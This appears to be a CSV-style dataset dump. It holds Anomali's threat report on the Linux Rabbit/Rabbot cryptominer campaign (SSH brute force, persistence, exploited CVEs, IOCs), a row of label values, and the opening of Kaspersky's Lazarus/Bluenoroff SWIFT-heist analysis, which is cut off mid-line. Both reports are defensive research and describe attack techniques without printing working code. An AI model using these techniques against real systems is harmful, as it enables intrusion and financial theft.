Fran\xc3\xa7ais Deutsch \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Italiano Portugu\xc3\xaas Espa\xc3\xb1ol Cyber Threat Intelligence Malware Pulling Linux Rabbit/Rabbot Malware Out of a Hat December 6, 2018 | Anomali Labs Overview Cyber threat researchers from Anomali Labs have discovered a new malware, called \xe2\x80\x9cLinux Rabbit,\xe2\x80\x9d that targeted Linux servers and Internet-of-Things (IoT) devices in a campaign that began in August 2018 and continued until October 2018. The campaign targeted devices in Russia, South Korea, the UK, and the US. The campaign utilizes two strains of malware that share the same code base called Linux Rabbit and \xe2\x80\x9cRabbot\xe2\x80\x9d. The goal of this campaign is to install cryptocurrency miners onto the targeted servers and devices. The type of Monero cryptominer installed is dependent upon what the machine\xe2\x80\x99s architecture is. The threat bulletins associated with this blog post will thoroughly examine the general campaign\xc2 and the individual malware processes for both Linux Rabbit and Rabbot. This campaign was conducted by unknown threat actors and it is currently unclear what the initial infection vector is. The first campaign began in August 2018 and was utilizing the Linux Rabbit malware to infect Linux systems. The Linux Rabbit malware only targeted Linux servers that were located in specific countries: Russia, South Korea, the UK, and the US. This malware has four main functionalities which are: Establish a connection to the Command and Control (C2) server using Tor gateways Setup persistence SSH brute force Install the cryptocurrency miner Additional information discussing the campaign such as infrastructure data and downloaded files can be viewed by ThreatStream users here. For Linux Rabbit to establish a connection with the C2 server, it utilizes Tor hidden services to act as contact points to access a Tor gateway. The malware will randomly select one of the hidden services and then a Tor gateway to follow in order to establish an active C2 URL. The payload for the malware is then sent from the C2 server as an encoded URL parameter. The malware\xe2\x80\x99s second functionality is to gain persistence on an infected machine. This is completed through \xe2\x80\x9crc.local\xe2\x80\x9d files and \xe2\x80\x9c.bashrc\xe2\x80\x9d files. After obtaining persistence, the next functionality of Linux Rabbit is to brute force SSH passwords which ultimately allows the malware to install the cryptocurrency miner onto the server. The SSH brute forcing begins by the malware first generating a random IPv4 string and checking its geolocation to see where it is located. If the IP is located within a country that is \xe2\x80\x9cblacklisted,\xe2\x80\x9d it will stop and move on until it finds an IP that is located in an allowed geolocation, which for this malware are Russia, South Korea, the UK, and the US. Once an allowed IP location is discovered, Linux Rabbit will check to see if an SSH server is listening on Port 22. The malware will open a socket to see if it receives a response, and if it does, it will attempt to obtain the machine\xe2\x80\x99s hostname. Interestingly, this malware will also check the Top-Level Domain (TLD) of a host, and will skip any TLD that is blacklisted. Many of the blacklisted TLDs are government-related sites in a variety of countries. If the TLD is not blacklisted, the malware will run through a process of authentication utilizing a list of hard-coded credentials it has. The first two authentication certifications are to ensure that the malware is not in a \xe2\x80\x9choney pot\xe2\x80\x9d. This is likely to avoid static analysis of the malware. After all this, if the malware successfully discovers a viable target and is able to gain access through SSH credential brute forcing, the malware will be able to begin installation of the cryptocurrency miner. Linux Rabbit attempts to install both \xe2\x80\x9cCNRig\xe2\x80\x9d and \xe2\x80\x9cCoinHive\xe2\x80\x9d Monero miners onto the machine, but only one will actually successfully install depending on what type of architecture the machine is. If the machine is a x86-bit, it will install CNRig Monero miner and if the machine is an ARM/MISP, it will install CoinHive. If the infected machine is a web server, the malware will inject CoinHive script tags into every HTML file, so that even visitors of the site/server are also infected with the cryptocurrency miner. Linux Rabbit is able to connect to GitHub and receive updates from the threat actors. It also has a killswitch built-in. It is able to detect other miners already on a target machine and delete them from the machine during the installation of its own miner. A technical breakdown of Linux Rabbit can be viewed by ThreatStream users here. \xc2 Following the Linux Rabbit campaign that occurred in August 2018, a new campaign followed it from September 2018 until October 2018 that utilized a different malware strain to infect machines. This new campaign used a self-propagating worm called \xe2\x80\x9cRabbot\xe2\x80\x9d that shared the same code base with Linux Rabbit. However, Rabbot is not limited to infecting just Linux servers like Linux Rabbit because it can also target and infect Internet-of-Things (IoT) devices via known vulnerabilities. Most crucially, it is not restricted to only attacking devices in specific geolocations. The known vulnerabilities that Rabbot is capable of exploiting include the following: CVE-2018-1149 CVE-2018-9866 CVE-2017-6884 CVE-2016-0792 CVE-2015-2051 https://www.exploit-db.com/exploits/31683/ https://www.exploit-db.com/exploits/27528/ https://www.exploit-db.com/exploits/39596/ https://www.exploit-db.com/exploits/42114/ https://www.exploit-db.com/exploits/40500/ https://www.exploit-db.com/exploits/41499/ https://www.exploit-db.com/exploits/40212/ https://www.exploit-db.com/exploits/43055/ https://www.exploit-db.com/exploits/44760/ https://www.exploit-db.com/exploits/41471/ https://blogs.securiteam.com/index.php/archives/3445 A technical breakdown of Rabbot can be viewed by ThreatStream users here. Both malware strains share the same code base which means they function almost exactly the same, except Rabbot will send all its payloads through an open port 80 to the Linux (web)servers, not checking to ensure that the process is successful. Since the malware will install different payloads depending on the architecture of the machine, it, in theory, does not need to check what was successfully installed or not, since one of the two cryptominers is guaranteed to run. Rabbot will also install CoinHive miners into various web pages via the infected web server by searching for \xe2\x80\x9c.HTML\xe2\x80\x9d files and inserting JavaScript files into the browser. IOCs 96bcdf95abb6838f4e3e250357e1fcb9 9dfb99f6357c36b992f589f7a1cedde8 9ec44ec63c48b7f9ddafc0ed7e197e2d 05aa20355187ffcd2b6712362c0f7213 b62b646bc24070afc4a7e0a5325916b8 8207caf23de638a5d25eb2e6ade657c1 03e4c44f6812268d95f811cf327d0665 0e9eedbc6ab395b0b23f43adebe54e58 c6488b538f45c7acd43b98d50e241c15 ea692602f556b91f4fa82c77ed746a3d 58ea13f8cc9af6bd193dd0962818446f 19238225434d6298524447a8cf976fce 642636dd8f76384e1e09e3a12829a8e8 b666100d3d3555dc8ed845d6fe12b3a5 e236822a8659e6e357e09980594661fb 20d73873bc862e57c212de88a0316138 fec12470177b4b34337adb8f86fca126 6b0169e4cc070f575195901d99a4792e f9532eb1b0cd3b2033bb3b626e26fdb6 3987fee76bc7752b63fd50480d7cbb5f e064fa34b2f135f099f4cf39dba3a53d e4c15aa25df48b8094b60b219669d749 310fda74f6726aec0636c9d079461d74 1d70b9f8661bf3135a38d652dd9aa624 1ed94aaaf65e51545f90061c76d898a4 fb6485999580f1ee743ed0bb489dee66 642630a7857358378fa2ac014a836080 7b7e3d4984ba280a8dce86ac5344f610 23292aa6afab8a4dac33ab126d133844 8ebde43f35d2eb0b0f5f83d7a3f6ed4c f565d38c2e0b5bf70dac1b68e055db60 d4858f464e44c0d694cf9a051fc946a1 ab19ac58bbc689c65048b0f20e9a3c20 a695226a7be0c1de4b18fd650ea5c796 ce2e3b285abae4bdf7f5781e700e013c About the AuthorAnomali Labs You might also be interested in... Blog10 Things To Do at Detect \xe2\x80\x9819\xe2\x81 - The Threat Intelligence Event of the Year BlogThreat Hunting: Eight Tactics to a Better Cybersecurity Strategy BlogEverything You Need to Know to Become a Guardian of the Cyberverse! BlogSuspected North Korean Cyber Espionage Campaign Targets Multiple Foreign Ministries and Think Tanks Get the latest threat intelligence news in your email. Copyright 2019 ANOMALI. All Rights Reserved. Privacy Policy Terms of Use 3rd Party Vendor Policy Threat Platform Community APP Store ISACs Research Company Blog News & Events Support Privacy Policy Terms of Use 3rd Party Vendor Policy","1","0","0","1","1","0","1","0","1","0","1","1","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0" -"LAZARUS UNDER THE HOOD Executive Summary The Lazarus Group\xe2\x80\x99s activity spans multiple years, going back as far as 2009. Its malware has been found in many serious cyberattacks, such as the massive data leak and file wiper attack on Sony Pictures Entertainment in 2014; the cyberespionage campaign in South Korea, dubbed Operation Troy, in 2013; and Operation DarkSeoul, which attacked South Korean media and financial companies in 2013. There have been several attempts to attribute one of the biggest cyberheists, in Bangladesh in 2016, to Lazarus Group. Researchers discovered a similarity between the backdoor used in Bangladesh and code in one of the Lazarus wiper tools. This was the first attempt to link the attack back to Lazarus. However, as new facts emerged in the media, claiming that there were at least three independent attackers in Bangladesh, any certainty about who exactly attacked the banks systems, and was behind one of the biggest ever bank heists in history, vanished. The only thing that was certain was that Lazarus malware was used in Bangladesh. However, considering that we had previously found Lazarus in dozens of different countries, including multiple infections in Bangladesh, this was not very convincing evidence and many security researchers expressed skepticism abound this attribution link. This paper is the result of forensic investigations by Kaspersky Lab at banks in two countries far apart. It reveals new modules used by Lazarus group and strongly links the tools used to attack systems supporting SWIFT to the Lazarus Group\xe2\x80\x99s arsenal of lateral movement tools. Considering that Lazarus Group is still active in various cyberespionage and cybersabotage activities, we have segregated its subdivision focusing on attacks on banks and financial manipulations into a separate group which we call Bluenoroff (after one of the tools they used). Introduction Since the beginning of 2016, the cyberattack against the Bangladesh Central Bank, which attempted to steal almost 1 billion USD, has been in the spotlight of all major news outlets. New, scattered facts popped up as the investigation developed and new incidents were made public, such as claims by the Vietnamese Tien Phong bank about the prevention of the theft of 1 million USD in December 2015. Security companies quickly picked up some patterns in the tools used in those attacks and linked them to Lazarus Group. The Lazarus Group\xe2\x80\x99s activity spans multiple years, going back as far as 2009. However, its activity spiked from 2011. The group has deployed multiple malware families across the years, including malware associated with Operation Troy and DarkSeoul, the Hangman malware https://en.wikipedia.org/wiki/Sony_Pictures_hack https://www.bloomberg.com/news/articles/2016-05-10/bangladesh-bank-heist-probe-said-to-find-three-groups-of-hackers https://www.bloomberg.com/news/articles/2016-05-15/vietnam-s-tien-phong-bank-targeted-by-swift-hack-reuters-says http://baesystemsai.blogspot.sg/2016/05/cyber-heist-attribution.html (2014-2015) and Wild Positron/Duuzer (2015). The group is known for spearphishing attacks, which include CVE-2015-6585, a zero-day vulnerability at the time of its discovery. The last major set of publications on the Lazarus actor was made possible due to a security industry alliance lead by Novetta. The respective research announcement was dubbed Operation Blockbuster. The following quote from Novetta's report, about the purpose of the research, caught our eye: ""While no effort can completely halt malicious operations, Novetta believes that these efforts can help cause significant disruption and raise operating costs for adversaries, in addition to profiling groups that have relied on secrecy for much of their success."" Bluenoroff: a Child of Lazarus Clearly, even before the Operation Blockbuster announcement, Lazarus had an enormous budget for its operations and would need a lot of money to run its campaigns. Ironically, Novetta's initiative could have further increased the already rising operating costs of Lazarus attacks, which in turn demanded better financing to continue its espionage and sabotage operations. So, one of the new objectives of Lazarus Group could be to become self-sustaining and to go after money. This is where Bluenoroff, a Lazarus unit, enters the story. Based on our analysis, we believe this unit works within the larger Lazarus Group, reusing its backdoors and leveraging the access it created, while penetrating targets that have large financial streams. Of course it implies a main focus on banks, but banks are not the only companies that are appearing on the radar of Bluenoroff: financial companies, traders and casinos also fall within Bluenoroff\xe2\x80\x99s area of interest. Novetta's report doesn't provide strict attribution, linking only to the FBI's investigation of the Sony Pictures Entertainment hack and a strong similarity in the malware tools. Sometime later, the media carried additional facts about how strong the FBI's claims were, supporting this with some data allegedly from the NSA. The deputy director of the NSA, Richard Ledgett recently commented on Lazarus and its link to North Korea, however no new evidence of this link has been provided. Since the incident in Bangladesh, Kaspersky Lab has been tracking the actor going after systems supporting SWIFT messaging, collecting information about its new attacks and operations. The recently discovered massive attack against banks in Europe in February 2017 was also a result of this tracking. Highly important malicious activity was detected by Kaspersky Lab products in multiple European financial institutions in January 2017 and this news eventually ended up being published by the Polish media. The journalists\xe2\x80\x99 investigations jumped slightly ahead of technical investigations and disclosed some facts before the analysis was finished. When it comes to Lazarus, the investigation and discovery of new facts is a long chain of events which consist of forensic and reverse engineering stages following one another. Hence, results cannot be made available immediately. https://www.operationblockbuster.com/ https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf http://www.theregister.co.uk/2015/01/07/sony_pictures_hack_was_definitely_the_norks_insists_fbi_chief/ http://www.theregister.co.uk/2015/01/19/nsa_saw_sony_hack/ http://freebeacon.com/national-security/nsa-nation-state-cyber-attack-included-virtual-hand-hand-combat/ https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Previous Link to Lazarus Group Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and this particular heist. One was published by BAE systems in May 2016, however, it only included an analysis of the wiper code. This was followed by another blogpost by Anomali Labs confirming the same wiping code similarity. This similarity was found to be satisfying to many readers, but we wanted to look for a stronger connection. Other claims that the attacker targeting the financial sector in Poland was Lazarus Group came from Symantec in 2017, which noticed string reuse in malware used at one of their Polish customers. Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers, however from this it's only clear that Lazarus might have attacked Polish banks. While all these facts look fascinating, the connection between Lazarus attacks on banks and its role in attacks their back office operations was still a loose one. The only case where malware targeting the infrastructure used to connect to SWIFT was discovered is the Bangladesh Central Bank incident. However, while almost everybody in the security industry has heard about the attack, few technical details based on the investigation that took place on site at the attacked company have been revealed to the public. Considering that the post-hack stories in the media mentioned that the investigation stumbled upon three different attackers, it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions, or if Lazarus had in fact developed its own malware to attack the banks' systems. In addition, relying solely on a single similarity based on file wiping code makes the connection not as strong, because the secure file wiping procedure is a utility function that can be used in many non-malware related projects. Such code could be circulating within certain software developer communities in Asia. One such example is an open-source project called sderase available with sourcecode at SourceForge, submitted by a developer with an Asian looking nickname - zhaoliang86. We assumed that it's possible that there are many other projects like sderase available on Asian developer forums, and code like this could be borrowed from them. We would like to add a few strong facts that link some attacks on banks to Lazarus, to share some of our own findings and to shed light on the recent TTPs (Tactics, Techniques and Procedures) used by the attacker, including some as yet unpublished details from the attack in Europe in 2017. Incident #1 The incident happened in a South East Asian country in August 2016, when Kaspersky Lab products detected new malicious activity from the Trojan-Banker.Win32.Alreay malware family. This malware was linked to the arsenal of tools used by the attackers in Bangladesh. As the attacked organization was a bank, we decided to investigate this case in depth. During the months of cooperation with the bank that followed, we revealed more and more tools hidden http://baesystemsai.blogspot.sg/2016/05/cyber-heist-attribution.html https://www.anomali.com/blog/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.bloomberg.com/news/articles/2016-05-10/bangladesh-bank-heist-probe-said-to-find-three-groups-of-hackers https://sourceforge.net/projects/sderase/ deep inside its infrastructure. We also discovered that the attackers had learned about our upcoming investigation and wiped all the evidence they could, including tools, configuration files and log records. In their rush to disappear they managed to forget some of the tools and components, which remained in the system. Malware Similarity Just like other banks that have their own dedicated server to connect to SWIFT, the bank in Incident #1 had its own. The server was running SWIFT Alliance software. Since the notorious Bangladesh cyberattack, the SWIFT Alliance software has been updated to include some additional checks which verify software and database integrity. This was an essential and logical measure as attackers had shown attempts to tamper with SWIFT software Alliance on disk and in memory, disabling direct database manipulations, as previously reported in the analysis by BAE Systems. This was discovered by the attackers, who tracked the changes in SWIFT Alliance software. The malware tools found in Incident #1 suggested that the attackers had carefully analyzed the patches and implemented a better way to patch new changes. More details on the patcher tool are provided in the Appendix. The malware discovered on the server connected to SWIFT strongly linked Incident #1 to the incident in Bangladesh. While certain tools were new and different in the malware code, the similarities left no doubt that the attacker in Incident #1 used the same code base. Below are some of the identical code and encryption key patterns that we found. Sample submitted from Bangladesh and mentioned in the BAE Systems blog. MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee Sample discovered in Incident #1 to copy SWIFT message files to separate storage. MD5:f5e0f57684e9da7ef96dd459b554fded http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html The screenshot above shows the disassembly of the logging function implemented in the malware. The code is almost identical. It was improved a little by adding current process ID to the log record. Never stopping code modification by the developer seems to be one of Lazarus Group\xe2\x80\x99s long- term strategies: it keeps changing the code even if it doesn't introduce much new functionality. Changing the code breaks Yara recognition and other signature-based detections. Another example of changing code, while preserving the core idea, originates from Novetta's sample set. One of the Lazarus malware modules that Novetta discovered used a binary configuration file that was encrypted with RC4 and a hardcoded key. A fragment of the code that loads, decrypts and verifies config file magic is shown below. Note that the first DWORD of the decrypted data has to be 0xAABBCCDD. The new variants of Lazarus malware used since Novetta\xe2\x80\x99s publication included a different code, with a new magic number and RC4 key, but following the same idea. Sample submitted from Bangladesh. Uses magic value 0xA0B0C0D0 MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee Sample discovered in Incident #1. Uses magic value 0xA0B0C0D0 MD5: f5e0f57684e9da7ef96dd459b554fded The code above is used to read, decrypt and check the external config file. You can see how it was modified over time. The sample from Incident #1 has certain differences which would break regular binary pattern detection with Yara. However, it's clearly the same but improved code. Instead of reading the file once, malware attempts to read it up to five times with a delay of 100ms. Then it decrypts the file with a hardcoded RC4 key, which is an identical 16 bytes in both samples (4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF), and verifies the magic value which must be 0xA0B0C0D0. According to forensic analysis, this malware was used by an actor who had remote access to the system via its own custom set of backdoors. Most of the analyzed hosts were not directly controlled via a C2 server. Instead they connected to another internal host that relayed TCP connection to the C2 using a tool that we dubbed the TCP Tunnel Tool. This tool can be used to chain internal hosts within the organization and relay connection to the real C2 server. This makes it harder for administrators to identify compromised hosts, because local connections usually seem less suspicious. One very similar tool was also described by Novetta, which it dubbed Proxy PapaAlfa. This tool is one of the most popular during an attack. Some hosts were used only as a relay, with no additional malware installed on them. That's why we believe that the Lazarus actor has many variants of this tool and changes it often to scrutinize network or file-based detection. For full the technical details of the tool discovered in Incident #1 see Appendix (MD5: e62a52073fd7bfd251efca9906580839). One of the central hosts in the bank, which was running SWIFT Alliance software, contained a fully-fledged backdoor (MD5: 2ef2703cfc9f6858ad9527588198b1b6) which has the same strong code and protocol design as a family of backdoors dubbed Romeo by Novetta. The same, but packed, backdoor was uploaded to a multiscanner service from Poland and South Korea in November 2016 (MD5: 06cd99f0f9f152655469156059a8ea25). We believe that this was a precursor of upcoming attacks on Poland and other European countries, however this was not reported publicly in 2016. The same malware was delivered to the European banks via an exploit attack in January 2017. There are many other visible similarities between the Lazarus malware reported by Novetta and malware discovered in Incident #1, such as an API import procedure and a complicated custom PE loader. The PE loader was used by many malware components: DLL loaders, injectors, and backdoors. https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf LimaAlfa sample from Novetta's Lazarus malware set (loader of other malicious files). MD5: b135a56b0486eb4c85e304e636996ba1 Sample discovered in Incident #1 (backdoor which contains PE loader code). MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Note that the modules presented differ in file type and purpose: Novetta's sample is an EXE file which is used to load other malicious PE files, while the sample discovered in Incident #1 is a DLL backdoor. Still, they are based on an identical code base. The discussion about similarities can be continued. However, it's now very clear that the attack in Bangladesh and Incident #1 are linked through the use of the Lazarus malware arsenal. Forensic Findings on the Server Connected to SWIFT In the case of the South East Asian attack we have seen infections both on the server connecting to SWIFT and several systems that belong to the IT department of the company. We managed to recover most of the modules, while some others were securely wiped and became inaccessible for analysis. Nevertheless, in many cases we see references to unique filenames that were also seen on other infected systems and were most likely malicious tools. As we learned from the analysis of this incident, there are cross-victim event correlations, which suggest that attackers worked in multiple compromised banks at the same time. Here are our key takeaways from the forensic analysis: \xe2\x97\x8f The attackers had a foothold in the company for over seven months. The South East Asian bank was breached at the time when the Bangladesh heist happened. \xe2\x97\x8f Most of the malware was placed into a C:\\Windows directory or C:\\MSO10 directory. These two paths were hardcoded into several modules. \xe2\x97\x8f The malware was compiled days or sometimes hours before it was deployed, which suggests a very targeted and surgical operation. \xe2\x97\x8f The attackers used an innocent looking decryptor with a custom PE loader designed to bypass detections by security products on start. \xe2\x97\x8f Most of the modules are designed to run as a service or have administrative/SYSTEM rights. \xe2\x97\x8f The backdoors found in this attack on the server connecting to SWIFT matched the design described by Novetta as a Romeo family of backdoors (RATs) in their paper, which directly links the South East Asian case to Lazarus. \xe2\x97\x8f Not everything ran smoothly for the attacker. We found multiple events of process crashes and system restarts during the time of the alleged attacker\xe2\x80\x99s presence. \xe2\x97\x8f Attackers operated out of office hours according to the victim's schedule and timezone to avoid detection. \xe2\x97\x8f They attempted to debug some problems by enabling the sysmon driver for several hours. Later, they forgot to wipe the sysmon event log file, which contained information on running processes, their respective commandlines and file hashes. \xe2\x97\x8f There was specific malware targetting SWIFT Alliance software that disabled internal integrity checks and intercepted processed transaction files. We called this \xe2\x80\x98SWIFT targeted malware\xe2\x80\x99 and directly attribute authorship to the Bluenoroff unit of Lazarus. \xe2\x97\x8f The SWIFT malware is different from other Lazarus tools, because it lacks obfuscation, disguise and packing. \xe2\x97\x8f Persistence was implemented as Windows service DLL, registered inside the group of Network Services (netsvcs). \xe2\x97\x8f They used a keylogger, which was stored in an encrypted container. This was decrypted and loaded by a loader that fetched the encrypted information from a different machine (disguised as one of the files in C:\\Windows\\Web\\Wallpaper\\Windows\\). \xe2\x97\x8f The attackers patched SWIFT Alliance software modules on disk permanently, but later rolled back the changes. Another operational failure was forgetting to restore the patched module in the backup folder. The patch applied to the liboradb.dll module is very similar to the one described by BAE Systems in its article about the Bangladesh attacks. \xe2\x97\x8f Attackers used both passive and active backdoors. The passive backdoors listened on the TCP port which was opened in Firewall via a standard netsh.exe command. That left additional records in system event log files. The port was set in the config, or passed as a command-line argument. They prefer ports ending with 443, i.e. 6443, 8443, 443. \xe2\x97\x8f Internal SWIFT Alliance software logs contained several alerts about database failures from June to August 2016, which links to attackers\xe2\x80\x99 attempts to tamper with the database of transactions. \xe2\x97\x8f The attackers didn't have visual control of the desktop through their backdoors which is why they relied on their own TCP tunnel tools that forwarded RDP ports to the operator. As a result we identified the anomalous activity of Terminal Services: they worked late and sometimes during weekends. \xe2\x97\x8f One of the earliest Terminal Services sessions was initiated from the webserver hosting the company's public website. The webserver was in the same network segment as the server connected to SWIFT and was most likely the patient zero in this attack. http://baesystemsai.blogspot.ru/2016/04/two-bytes-to-951m.html Timeline of Attacks Due to long-term cooperation with the bank we had the chance to inspect several compromised hosts in the bank. Starting with analysis of the central host, which was the server connecting to SWIFT; we could see connections to other hosts in the network. We suspected them to be infected and this was confirmed during a closer look. Once the contact between that bank and Kaspersky Lab was established, the attackers somehow realized that the behavior of system administrators was not normal and soon after that they started wiping all traces of their activity. Revealing traces of their presence took us a couple of months, but we managed to collect and build a rough timeline of some of their operations, which again provided us with activity time information. We have collected all timestamps that indicate the activity of the attackers and put them in one table, which has helped us to build a timeline of events based on the remaining artefacts. Fig. Timeline of events in related to Incident #1. Synchronicity of Events in Different Incidents During the analysis of event log files we found one coming from Sysinternals Sysmon. Surprisingly, the event log file contained records of malware activity from months before the forensic analysis, logging some of the intruders\xe2\x80\x99 active work. When we discovered that strange sysmon log we were confused, as it seemed like the attacker enabled it, or someone who wanted to monitor the attacker did. Later on, a security researcher familiar with the Bangladesh investigation results confirmed that similar sysmon activity was also registered on 29 January 2016. This means that it happened to at least two different victims within minutes. Another event was related to tampering with SWIFT database modules. During the analysis of systems in Incident #1, we found a directory C:\\Users\\%username%\\Desktop\\win32\\ which was created at 2016-02-05 03:22:51 (UTC). The directory contained a patched liboradb.dll file which was modified at 2016-02-04 14:07:07 (UTC), while the original unpatched file seems to be created on 2015-10-13 12:34:26 (UTC) and stored in liboradb.dll.bak. This suggests attacker activity around 2016-02-04 14:07:07 (UTC). This was the date of the widely publicized Bangladesh cyber heist. This finding corresponds to already known incident at Bangladesh Central Bank in February 2016. According to BAE, in BCB the module \xe2\x80\x9cliboradb.dll\xe2\x80\x9d was also patched with the same \xe2\x80\x9cNOP NOP\xe2\x80\x9d technique. Fig. Patched module in Bangladesh case (courtesy of BAE Systems). So far, this means that the attackers' activity and the file modification occurred on the same day in two banks in two different countries on 29 January, 2016 and 4 February, 2016. To conclude, Bangladesh Central Bank was probably one of many banks compromised for the massive operation involving hundreds of millions of dollars. A bank in South East Asia linked to Incident #1 is live confirmation of this fact. Anti-Forensics Techniques Some of the techniques used by the attackers were quite new and interesting. We assume that the attackers knew about the constraints implied by the responsibility of SWIFT and the bank when it comes to investigating a cyberattack. So far, all infected assets were chosen to be distributed between SWIFT connected systems and the bank\xe2\x80\x99s own systems. By splitting the malicious payload into two pieces and placing them in two different zones of responsibility, the attackers attempted to achieve zero visibility from any of the parties that would investigate or https://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html?m=1 analyze suspicious files on its side. We believe that involving a third-party like Kaspersky Lab makes a big change to the whole investigation. Technically it was implemented through a simple separation of files, which had to be put together to form a fully functioning malicious process. We have seen this approach at least twice in current forensic analysis and we strongly believe that it is not a coincidence. Malware Component 1 Malware Component 2 Description Trojan Dropper, igfxpers.exe was found on HostC Dropped Backdoor, was found on HostD The backdoor was dropped on the disk by the Dropper, if the operator started it with valid secret password, provided via commandline. DLL Injector, esserv.exe was found on HostD Keylogger, loaded by DLL Injector was found on HostA The Keylogger was stored in encrypted container and could only be loaded with the DLL Injector from another host. It's common for forensic procedures to be applied to a system as a whole. With standard forensic procedures, which include the analysis of a memory dump and disk image of a compromised system, it is uncommon to look at a given computer as a half-compromised system, meaning that the other ingredient which makes it compromised lives elsewhere. However, in reality the system remains breached. It implies that a forensic analyst focusing on the analysis of an isolated single system may not see the full picture. That is why we believe that this technique was used as an attempt to prevent successful forensic analysis. With this in mind, we'd like to encourage all forensics analysts to literally look outside of the box when conducting breach analysis, especially when you have to deal with Lazarus. Password Protected Malware Another interesting technique is in the use of password-protected malware. While this technique isn't exactly new, it is usually a signature of advanced attackers. One such malware that comes to mind is the mysterious Gauss malware, which requires a secret ingredient to decrypt its protected payload. We published our research about Gauss malware in 2012 and since then many attempts have been made to crack the Gauss encryption passphrase, without any success. The idea is quite a simple yet very effective anti-forensics measure: the malware dropper (installer) uses a secret passphrase passed via command line argument. The argument is hashed with MD5 and is used as the key to decrypt the payload. In the context of the Incident #1 attack, the payload was, in turn, a loader of the next stage payload, which was encrypted and embedded into the loader. The loader didn't have the key to decrypt its own embedded payload, but it looked for the decryption key in the registry value. That registry value should have to be set by the installer, otherwise the malware doesn't work. So, clearly, unless you have https://securelist.com/blog/incidents/33561/the-mystery-of-the-encrypted-gauss-payload-5/ the secret passphrase, you cannot reconstruct the full chain of events. In the case of Incident #1 we managed to get the passphrase and it was a carefully selected string consisting of 24 random alpha-numeric upper and lowercase characters. About The Infection Vector Due to the age of the breach inside the bank, little has been preserved and it's not very clear how the attackers initially breached the bank. However, what becomes apparent is that they used a web server located in the bank to connect via Terminal Services to the one linking to SWIFT connected systems. In some cases they would switch from the web server to another internal infected host that would work as a relay. However, all the hosts that we analyzed had no interaction with the external world except for the web server mentioned, which hosted the company's website and was exposed to the world. The web server installation was quite fresh: it had hosted the company's new website, which was migrated from a previous server, for just a few months before it was compromised. The bank contracted a pentesting company to do a security assessment of the new website which was ongoing when Lazarus breached the server. The infection on the web server appeared in the middle of pentesting probes. Some of these probes were successful and the pentester uploaded a C99-like webshell to the server as a proof of breach. Then the pentester continued probing other vulnerable scripts on the server, which is why we believe that the intention was benign. In the end, all scripts discovered by the pentester were reported and patched. Considering that there were known breaches on the webserver, which were identified and patched with the help of an external security audit, there is a high probability that the server was found and breached by the Lazarus actor before the audit. Another possibility is that the C99- shell uploaded by the pentester was backdoored and beaconed back to the Lazarus Group, which immediately took over the server. Unfortunately, the C99-shell was identified only by the query string, the body of the webshell was not recovered. One way or another, the breach of the web server seems to be the most probable infection vector used by Lazarus to enter the bank\xe2\x80\x99s network. Incident #2 Our investigation in Europe started with very similar symptoms to those which we have previously seen in South East Asia in Incident #1. In January 2017 we received information about new detections of the Bluenoroff malware we have been tracking. One of the alarming triggers was the sudden deployment of freshly built samples, which indicated that a new serious operation had begun. After establishing a secure communication with some of the targets, we passed some indicators of compromise and quickly got some feedback confirming the hits. Thanks to the support and cooperation of a number of partners, we managed to analyse multiple harddrive disk images that were made soon after taking the identified compromised systems offline. Analysis of the disk images revealed the presence of multiple malware tools associated with the Bluenoroff unit of the Lazarus Group. Analysis of the event logs indicate that several hosts were infected and other hosts had been targeted by the attackers for lateral movement operations. Attackers attempted to access the domain controller and mail server inside the companies, which is why we recommend that future investigators should avoid using corporate email for communicating with victims of Lazarus Group. In one case, the initial attack leveraged an old vulnerability in Adobe Flash Player, which was patched by Adobe in April 2016. Although an updater was installed on this machine, it failed to update Adobe Flash Player, probably due to network connectivity issues. Initial Infection. In one of the incidents, we discovered that patient zero visited a compromised government website using Microsoft Internet Explorer on 10 January, 2017. Infected webpage URL: https://www.knf.gov[.]pl/opracowania/sektor_bankowy/index.html The time of the visit is confirmed by an Internet Explorer cache file, which contains an html page body from this host. The webpage loaded a Javascript resource from the same webserver referenced from the page: The information provided below appeared in the public domain. Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of a Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov[.]pl). Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets. https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Note: image is a courtesy of badcyber.com The unauthorised code was located in the following file: http://www.knf.gov[.]pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11 and looked like this: document.write(""
